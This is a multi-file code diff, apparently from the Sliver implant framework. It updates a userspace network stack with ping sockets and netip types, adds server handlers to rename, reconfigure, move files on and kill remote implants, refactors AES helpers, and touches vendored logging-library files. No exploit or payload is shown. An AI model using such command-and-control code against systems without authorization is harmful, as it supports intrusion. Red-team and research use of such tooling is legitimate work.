}
|
||||
|
||||
func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.ListenTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
var lfa, rfa *tcpip.FullAddress
|
||||
var pn tcpip.NetworkProtocolNumber
|
||||
if laddr != nil {
|
||||
if laddr.IsValid() || laddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
|
||||
addr, pn = convertToFullAddr(laddr)
|
||||
lfa = &addr
|
||||
}
|
||||
if raddr != nil {
|
||||
if raddr.IsValid() || raddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
|
||||
addr, pn = convertToFullAddr(raddr)
|
||||
rfa = &addr
|
||||
}
|
||||
return gonet.DialUDP(net.stack, lfa, rfa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
return net.DialUDPAddrPort(laddr, netip.AddrPort{})
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
var la, ra netip.AddrPort
|
||||
if laddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(laddr.IP)
|
||||
la = netip.AddrPortFrom(ip, uint16(laddr.Port))
|
||||
}
|
||||
if raddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(raddr.IP)
|
||||
ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
|
||||
}
|
||||
return net.DialUDPAddrPort(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
return net.DialUDP(laddr, nil)
|
||||
}
|
||||
|
||||
type PingConn struct {
|
||||
laddr PingAddr
|
||||
raddr PingAddr
|
||||
wq waiter.Queue
|
||||
ep tcpip.Endpoint
|
||||
deadline *time.Timer
|
||||
}
|
||||
|
||||
type PingAddr struct{ addr netip.Addr }
|
||||
|
||||
func (ia PingAddr) String() string {
|
||||
return ia.addr.String()
|
||||
}
|
||||
|
||||
func (ia PingAddr) Network() string {
|
||||
if ia.addr.Is4() {
|
||||
return "ping4"
|
||||
} else if ia.addr.Is6() {
|
||||
return "ping6"
|
||||
}
|
||||
return "ping"
|
||||
}
|
||||
|
||||
func (ia PingAddr) Addr() netip.Addr {
|
||||
return ia.addr
|
||||
}
|
||||
|
||||
func PingAddrFromAddr(addr netip.Addr) *PingAddr {
|
||||
return &PingAddr{addr}
|
||||
}
|
||||
|
||||
func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
|
||||
if !laddr.IsValid() && !raddr.IsValid() {
|
||||
return nil, errors.New("ping dial: invalid address")
|
||||
}
|
||||
v6 := laddr.Is6() || raddr.Is6()
|
||||
bind := laddr.IsValid()
|
||||
if !bind {
|
||||
if v6 {
|
||||
laddr = netip.IPv6Unspecified()
|
||||
} else {
|
||||
laddr = netip.IPv4Unspecified()
|
||||
}
|
||||
}
|
||||
|
||||
tn := icmp.ProtocolNumber4
|
||||
pn := ipv4.ProtocolNumber
|
||||
if v6 {
|
||||
tn = icmp.ProtocolNumber6
|
||||
pn = ipv6.ProtocolNumber
|
||||
}
|
||||
|
||||
pc := &PingConn{
|
||||
laddr: PingAddr{laddr},
|
||||
deadline: time.NewTimer(time.Hour << 10),
|
||||
}
|
||||
pc.deadline.Stop()
|
||||
|
||||
ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
|
||||
if tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
|
||||
}
|
||||
pc.ep = ep
|
||||
|
||||
if bind {
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
|
||||
if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping bind: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
if raddr.IsValid() {
|
||||
pc.raddr = PingAddr{raddr}
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
|
||||
if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping connect: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
return pc, nil
|
||||
}
|
||||
|
||||
func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
|
||||
return net.DialPingAddr(laddr, netip.Addr{})
|
||||
}
|
||||
|
||||
func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
|
||||
var la, ra netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
if raddr != nil {
|
||||
ra = raddr.addr
|
||||
}
|
||||
return net.DialPingAddr(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
|
||||
var la netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
return net.ListenPingAddr(la)
|
||||
}
|
||||
|
||||
func (pc *PingConn) LocalAddr() net.Addr {
|
||||
return pc.laddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) RemoteAddr() net.Addr {
|
||||
return pc.raddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) Close() error {
|
||||
pc.deadline.Reset(0)
|
||||
pc.ep.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetWriteDeadline(t time.Time) error {
|
||||
return errors.New("not implemented")
|
||||
}
|
||||
|
||||
func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
|
||||
var na netip.Addr
|
||||
switch v := addr.(type) {
|
||||
case *PingAddr:
|
||||
na = v.addr
|
||||
case *net.IPAddr:
|
||||
na, _ = netip.AddrFromSlice(v.IP)
|
||||
default:
|
||||
return 0, fmt.Errorf("ping write: wrong net.Addr type")
|
||||
}
|
||||
if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
|
||||
return 0, fmt.Errorf("ping write: mismatched protocols")
|
||||
}
|
||||
|
||||
buf := buffer.NewViewFromBytes(p)
|
||||
rdr := buf.Reader()
|
||||
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
|
||||
// won't block, no deadlines
|
||||
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
|
||||
To: &rfa,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
|
||||
}
|
||||
|
||||
return int(n64), nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Write(p []byte) (n int, err error) {
|
||||
return pc.WriteTo(p, &pc.raddr)
|
||||
}
|
||||
|
||||
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
|
||||
e, notifyCh := waiter.NewChannelEntry(nil)
|
||||
pc.wq.EventRegister(&e, waiter.EventIn)
|
||||
defer pc.wq.EventUnregister(&e)
|
||||
|
||||
select {
|
||||
case <-pc.deadline.C:
|
||||
return 0, nil, os.ErrDeadlineExceeded
|
||||
case <-notifyCh:
|
||||
}
|
||||
|
||||
w := tcpip.SliceWriter(p)
|
||||
|
||||
res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
|
||||
NeedRemoteAddr: true,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
|
||||
}
|
||||
|
||||
remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
|
||||
return res.Count, &PingAddr{remoteAddr}, nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Read(p []byte) (n int, err error) {
|
||||
n, _, err = pc.ReadFrom(p)
|
||||
return
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetDeadline(t time.Time) error {
|
||||
// pc.SetWriteDeadline is unimplemented
|
||||
|
||||
return pc.SetReadDeadline(t)
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetReadDeadline(t time.Time) error {
|
||||
pc.deadline.Reset(t.Sub(time.Now()))
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
errNoSuchHost = errors.New("no such host")
|
||||
errLameReferral = errors.New("lame referral")
|
||||
@@ -430,7 +667,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
|
||||
return p, h, nil
|
||||
}
|
||||
|
||||
func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
q.Class = dnsmessage.ClassINET
|
||||
id, udpReq, tcpReq, err := newRequest(q)
|
||||
if err != nil {
|
||||
@@ -444,16 +681,19 @@ func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Quest
|
||||
var c net.Conn
|
||||
var err error
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
if d, ok := ctx.Deadline(); ok && !d.IsZero() {
|
||||
c.SetDeadline(d)
|
||||
err := c.SetDeadline(d)
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
}
|
||||
var p dnsmessage.Parser
|
||||
var h dnsmessage.Header
|
||||
@@ -597,8 +837,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
zlen = zidx
|
||||
}
|
||||
}
|
||||
if ip := net.ParseIP(host[:zlen]); ip != nil {
|
||||
return []string{host[:zlen]}, nil
|
||||
if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
|
||||
return []string{ip.String()}, nil
|
||||
}
|
||||
|
||||
if !isDomainName(host) {
|
||||
@@ -609,7 +849,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
server string
|
||||
error
|
||||
}
|
||||
var addrsV4, addrsV6 []net.IP
|
||||
var addrsV4, addrsV6 []netip.Addr
|
||||
lanes := 0
|
||||
if tnet.hasV4 {
|
||||
lanes++
|
||||
@@ -664,7 +904,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV4 = append(addrsV4, net.IP(a.A[:]))
|
||||
addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
|
||||
|
||||
case dnsmessage.TypeAAAA:
|
||||
aaaa, err := result.p.AAAAResource()
|
||||
@@ -676,7 +916,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
|
||||
addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
|
||||
|
||||
default:
|
||||
if err := result.p.SkipAnswer(); err != nil {
|
||||
@@ -692,7 +932,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
}
|
||||
// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
|
||||
var addrs []net.IP
|
||||
var addrs []netip.Addr
|
||||
if tnet.hasV6 {
|
||||
addrs = append(addrsV6, addrsV4...)
|
||||
} else {
|
||||
@@ -729,44 +969,48 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
|
||||
return now.Add(timeout), nil
|
||||
}
|
||||
|
||||
var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
|
||||
|
||||
func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
if ctx == nil {
|
||||
panic("nil context")
|
||||
}
|
||||
var acceptV4, acceptV6, useUDP bool
|
||||
if len(network) == 3 {
|
||||
var acceptV4, acceptV6 bool
|
||||
matches := protoSplitter.FindStringSubmatch(network)
|
||||
if matches == nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
} else if len(matches[2]) == 0 {
|
||||
acceptV4 = true
|
||||
acceptV6 = true
|
||||
} else if len(network) == 4 {
|
||||
acceptV4 = network[3] == '4'
|
||||
acceptV6 = network[3] == '6'
|
||||
} else {
|
||||
acceptV4 = matches[2][0] == '4'
|
||||
acceptV6 = !acceptV4
|
||||
}
|
||||
if !acceptV4 && !acceptV6 {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
if network[:3] == "udp" {
|
||||
useUDP = true
|
||||
} else if network[:3] != "tcp" {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
host, sport, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err := strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
var host string
|
||||
var port int
|
||||
if matches[1] == "ping" {
|
||||
host = address
|
||||
} else {
|
||||
var sport string
|
||||
var err error
|
||||
host, sport, err = net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err = strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
}
|
||||
}
|
||||
allAddr, err := tnet.LookupContextHost(ctx, host)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
var addrs []net.IP
|
||||
var addrs []netip.AddrPort
|
||||
for _, addr := range allAddr {
|
||||
if strings.IndexByte(addr, ':') != -1 && acceptV6 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
ip, err := netip.ParseAddr(addr)
|
||||
if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
|
||||
addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
|
||||
}
|
||||
}
|
||||
if len(addrs) == 0 && len(allAddr) != 0 {
|
||||
@@ -804,10 +1048,13 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
|
||||
}
|
||||
|
||||
var c net.Conn
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
|
||||
switch matches[1] {
|
||||
case "tcp":
|
||||
c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
|
||||
case "udp":
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
|
||||
case "ping":
|
||||
c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
|
||||
}
|
||||
if err == nil {
|
||||
return c, nil
|
||||
|
||||
@@ -38,4 +38,7 @@ var (
|
||||
ErrAsyncNotSupported = status.Error(codes.Unavailable, "Async not supported for this command")
|
||||
// ErrDatabaseFailure - Generic database failure error (real error is logged)
|
||||
ErrDatabaseFailure = status.Error(codes.Internal, "Database operation failed")
|
||||
|
||||
// ErrInvalidName - Invalid name
|
||||
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics only")
|
||||
)
|
||||
@@ -45,6 +45,16 @@ func (rpc *Server) Ls(ctx context.Context, req *sliverpb.LsReq) (*sliverpb.Ls, e
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Mv - Move or rename a file
|
||||
func (rpc *Server) Mv(ctx context.Context, req *sliverpb.MvReq) (*sliverpb.Mv, error) {
|
||||
resp := &sliverpb.Mv{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Rm - Remove file or directory
|
||||
func (rpc *Server) Rm(ctx context.Context, req *sliverpb.RmReq) (*sliverpb.Rm, error) {
|
||||
resp := &sliverpb.Rm{Response: &commonpb.Response{}}
|
||||
@@ -75,7 +85,7 @@ func (rpc *Server) Cd(ctx context.Context, req *sliverpb.CdReq) (*sliverpb.Pwd,
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Pwd - Change directory
|
||||
// Pwd - Print working directory
|
||||
func (rpc *Server) Pwd(ctx context.Context, req *sliverpb.PwdReq) (*sliverpb.Pwd, error) {
|
||||
resp := &sliverpb.Pwd{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// Kill - Kill the implant proccess
|
||||
func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.Empty, error) {
|
||||
var (
|
||||
beacon *models.Beacon
|
||||
@@ -49,7 +50,6 @@ func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.
|
||||
}
|
||||
|
||||
func (rpc *Server) killSession(kill *sliverpb.KillReq, session *core.Session) (*commonpb.Empty, error) {
|
||||
core.Sessions.Remove(session.ID)
|
||||
data, err := proto.Marshal(kill)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
)
|
||||
|
||||
const maxNameLength = 32
|
||||
|
||||
// Reconfigure - Reconfigure a beacon/session
|
||||
func (rpc *Server) Reconfigure(ctx context.Context, req *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) {
|
||||
resp := &sliverpb.Reconfigure{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Successfully execute command, update server's info on reconnect interval
|
||||
if req.Request.SessionID != "" {
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if req.ReconnectInterval != 0 {
|
||||
session.ReconnectInterval = req.ReconnectInterval
|
||||
}
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Rename - Rename a beacon/session
|
||||
func (rpc *Server) Rename(ctx context.Context, req *clientpb.RenameReq) (*commonpb.Empty, error) {
|
||||
resp := &commonpb.Empty{}
|
||||
|
||||
if len(req.Name) < 1 || maxNameLength < len(req.Name) {
|
||||
return resp, ErrInvalidName
|
||||
}
|
||||
if !regexp.MustCompile(`^[[:alnum:]]+$`).MatchString(req.Name) {
|
||||
return resp, ErrInvalidName
|
||||
}
|
||||
|
||||
if req.SessionID != "" {
|
||||
session := core.Sessions.Get(req.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
}
|
||||
session.Name = req.Name
|
||||
} else if req.BeaconID != "" {
|
||||
beacon, err := db.BeaconByID(req.BeaconID)
|
||||
if err != nil || beacon == nil {
|
||||
return nil, ErrInvalidBeaconID
|
||||
}
|
||||
err = db.RenameBeacon(beacon.ID.String(), req.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -20,8 +20,6 @@ package rpc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -32,13 +30,6 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const maxNameLength = 32
|
||||
|
||||
var (
|
||||
// ErrInvalidName - Invalid name
|
||||
ErrInvalidName = errors.New("invalid session name, alphanumerics only")
|
||||
)
|
||||
|
||||
// GetSessions - Get a list of sessions
|
||||
func (rpc *Server) GetSessions(ctx context.Context, _ *commonpb.Empty) (*clientpb.Sessions, error) {
|
||||
resp := &clientpb.Sessions{
|
||||
@@ -72,72 +63,6 @@ func (rpc *Server) KillSession(ctx context.Context, kill *sliverpb.KillReq) (*co
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
// UpdateSession - Update a session name
|
||||
func (rpc *Server) UpdateSession(ctx context.Context, update *clientpb.UpdateSession) (*clientpb.Session, error) {
|
||||
resp := &clientpb.Session{}
|
||||
session := core.Sessions.Get(update.SessionID)
|
||||
if session == nil {
|
||||
return resp, ErrInvalidSessionID
|
||||
}
|
||||
var maxLen int
|
||||
if update.Name != "" {
|
||||
if len(update.Name) < maxNameLength {
|
||||
maxLen = len(update.Name)
|
||||
} else {
|
||||
maxLen = maxNameLength
|
||||
}
|
||||
name := update.Name[:maxLen]
|
||||
if !regexp.MustCompile(`^[[:alnum:]]+$`).MatchString(name) {
|
||||
return resp, ErrInvalidName
|
||||
}
|
||||
session.Name = name
|
||||
}
|
||||
// Update reconnect interval if set
|
||||
if update.ReconnectInterval != -1 {
|
||||
session.ReconnectInterval = update.ReconnectInterval
|
||||
|
||||
// Create protobuf msg
|
||||
req := sliverpb.ReconnectIntervalReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(0),
|
||||
},
|
||||
ReconnectInterval: update.ReconnectInterval,
|
||||
}
|
||||
|
||||
data, err := proto.Marshal(&req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
session.Request(sliverpb.MsgNumber(&req), rpc.getTimeout(&req), data)
|
||||
}
|
||||
// Update poll interval if set
|
||||
if update.PollInterval != -1 {
|
||||
session.PollTimeout = update.PollInterval
|
||||
|
||||
// Create protobuf msg
|
||||
req := sliverpb.PollIntervalReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(0),
|
||||
},
|
||||
PollInterval: update.PollInterval,
|
||||
}
|
||||
|
||||
data, err := proto.Marshal(&req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
session.Request(sliverpb.MsgNumber(&req), rpc.getTimeout(&req), data)
|
||||
}
|
||||
if len(update.Extensions) != 0 {
|
||||
session.Extensions = update.Extensions
|
||||
}
|
||||
core.Sessions.UpdateSession(session)
|
||||
resp = session.ToProtobuf()
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// OpenSession - Instruct beacon to open a new session on next checkin
|
||||
func (rpc *Server) OpenSession(ctx context.Context, openSession *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
|
||||
resp := &sliverpb.OpenSession{Response: &commonpb.Response{}}
|
||||
|
||||
@@ -22,44 +22,43 @@ import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
var EncryptionKey *string
|
||||
|
||||
//Encrypt the results
|
||||
func Encrypt(bites []byte) []byte {
|
||||
plainText, err := pad(bites, aes.BlockSize)
|
||||
func Encrypt(data []byte, key []byte, iv []byte) []byte {
|
||||
plainText, err := pad(data, aes.BlockSize)
|
||||
if err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
block, _ := aes.NewCipher([]byte(*EncryptionKey))
|
||||
block, _ := aes.NewCipher(key)
|
||||
cipherText := make([]byte, aes.BlockSize+len(plainText))
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
|
||||
return make([]byte, 0)
|
||||
// Create a random IV if none was provided
|
||||
// len(nil) returns 0
|
||||
if len(iv) == 0 {
|
||||
iv = cipherText[:aes.BlockSize]
|
||||
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
}
|
||||
mode := cipher.NewCBCEncrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
|
||||
return []byte(fmt.Sprintf("%x", cipherText))
|
||||
return cipherText
|
||||
}
|
||||
|
||||
//Decrypt a command
|
||||
func Decrypt(text string) string {
|
||||
cipherText, _ := hex.DecodeString(text)
|
||||
block, err := aes.NewCipher([]byte(*EncryptionKey))
|
||||
func Decrypt(data []byte, key []byte) []byte {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return ""
|
||||
return nil
|
||||
}
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
cipherText = cipherText[aes.BlockSize:]
|
||||
iv := data[:aes.BlockSize]
|
||||
data = data[aes.BlockSize:]
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText, cipherText)
|
||||
cipherText, _ = unpad(cipherText, aes.BlockSize)
|
||||
return string(cipherText)
|
||||
mode.CryptBlocks(data, data)
|
||||
data, _ = unpad(data, aes.BlockSize)
|
||||
return data
|
||||
}
|
||||
|
||||
func pad(buf []byte, size int) ([]byte, error) {
|
||||
+2
@@ -1,3 +1,5 @@
|
||||
// +build windows
|
||||
|
||||
// Package guid provides a GUID type. The backing structure for a GUID is
|
||||
// identical to that used by the golang.org/x/sys/windows GUID type.
|
||||
// There are two main binary encodings used for a GUID, the big-endian encoding,
|
||||
|
||||
+6
-8
@@ -4,14 +4,12 @@ git:
|
||||
depth: 1
|
||||
env:
|
||||
- GO111MODULE=on
|
||||
go: [1.13.x, 1.14.x]
|
||||
os: [linux, osx]
|
||||
go: 1.15.x
|
||||
os: linux
|
||||
install:
|
||||
- ./travis/install.sh
|
||||
script:
|
||||
- ./travis/cross_build.sh
|
||||
- ./travis/lint.sh
|
||||
- export GOMAXPROCS=4
|
||||
- export GORACE=halt_on_error=1
|
||||
- go test -race -v ./...
|
||||
- if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then go test -race -v -tags appengine ./... ; fi
|
||||
- cd ci
|
||||
- go run mage.go -v -w ../ crossBuild
|
||||
- go run mage.go -v -w ../ lint
|
||||
- go run mage.go -v -w ../ test
|
||||
+36
@@ -1,3 +1,39 @@
|
||||
# 1.8.1
|
||||
Code quality:
|
||||
* move magefile in its own subdir/submodule to remove magefile dependency on logrus consumer
|
||||
* improve timestamp format documentation
|
||||
|
||||
Fixes:
|
||||
* fix race condition on logger hooks
|
||||
|
||||
|
||||
# 1.8.0
|
||||
|
||||
Correct versioning number replacing v1.7.1.
|
||||
|
||||
# 1.7.1
|
||||
|
||||
Beware this release has introduced a new public API and its semver is therefore incorrect.
|
||||
|
||||
Code quality:
|
||||
* use go 1.15 in travis
|
||||
* use magefile as task runner
|
||||
|
||||
Fixes:
|
||||
* small fixes about new go 1.13 error formatting system
|
||||
* Fix for long time race condiction with mutating data hooks
|
||||
|
||||
Features:
|
||||
* build support for zos
|
||||
|
||||
# 1.7.0
|
||||
Fixes:
|
||||
* the dependency toward a windows terminal library has been removed
|
||||
|
||||
Features:
|
||||
* a new buffer pool management API has been added
|
||||
* a set of `<LogLevel>Fn()` functions have been added
|
||||
|
||||
# 1.6.0
|
||||
Fixes:
|
||||
* end of line cleanup
|
||||
|
||||
+1
-1
@@ -402,7 +402,7 @@ func (f *MyJSONFormatter) Format(entry *Entry) ([]byte, error) {
|
||||
